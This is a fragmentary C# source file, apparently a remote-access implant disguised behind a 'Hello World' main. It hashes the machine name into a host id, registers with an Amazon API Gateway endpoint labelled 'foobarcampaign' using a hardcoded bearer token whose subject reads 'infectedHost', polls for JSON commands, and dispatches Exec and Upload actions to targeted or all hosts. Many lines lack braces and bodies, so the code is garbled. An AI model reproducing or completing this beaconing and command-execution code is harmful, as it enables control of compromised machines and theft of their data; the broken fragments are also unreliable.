using System.Security.Cryptography;
using System.Web.Script.Serialization;
public static void Main()
Console.WriteLine("Hello World");
Listener a = new Listener();
const string AUTH_HEADER_NAME = "Authorization";
const string AUTH_HEADER_VALUE = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJpbmZlY3RlZEhvc3QiLCJpYXQiOjE1Mjc2OTA3MjZ9.-EBKlxcwRMdCWdjynGyBMr7qoLxgrsvlmc-m4KK95qM";
const string REGISTER_ENDPOINT = "https://k7vo268tif.execute-api.us-east-1.amazonaws.com/prod/foobarcampaign-messages/{0}.mes";
const string LISTEN_ENDPOINT = "https://k7vo268tif.execute-api.us-east-1.amazonaws.com/prod/foobarcampaign-listen/{0}";
public string type = "NONE";
public string target = "*";
public string argument = "";
private string ComputeId(string salt) {
string hostname = "qIwd1V4." + Environment.MachineName + salt;
SHA256 d = SHA256.Create();
byte[] hash = d.ComputeHash(Encoding.UTF8.GetBytes(hostname));
StringBuilder result = new StringBuilder(hash.Length * 2);
for (int i = 0; i < hash.Length; i++)
result.Append(hash[i].ToString("X2"));
return result.ToString();
var hostId = ComputeId("");
var url = String.Format(REGISTER_ENDPOINT, HttpUtility.UrlEncode(hostId));
var request = WebRequest.Create(url);
var data = Encoding.UTF8.GetBytes(hostId);
request.ContentType = "text/plain";
request.ContentLength = data.Length;
request.Headers.Add("Authorization", AUTH_HEADER_VALUE);
using(var stream = request.GetRequestStream()) {
stream.Write(data, 0, data.Length);
var response = request.GetResponse();
var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
private void Exec(string argument) {
private void Upload(string argument) {
var hostId = ComputeId("");
var url = String.Format(LISTEN_ENDPOINT, HttpUtility.UrlEncode(hostId));
var request = WebRequest.Create(url);
request.Headers.Add("Authorization", AUTH_HEADER_VALUE);
var response = request.GetResponse();
var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
JavaScriptSerializer jsonSerializer = new JavaScriptSerializer();
Command command = jsonSerializer.Deserialize < Command > (responseString);
if (command.target.Equals(hostId) || command.target.Equals("*")) {
Upload(command.argument);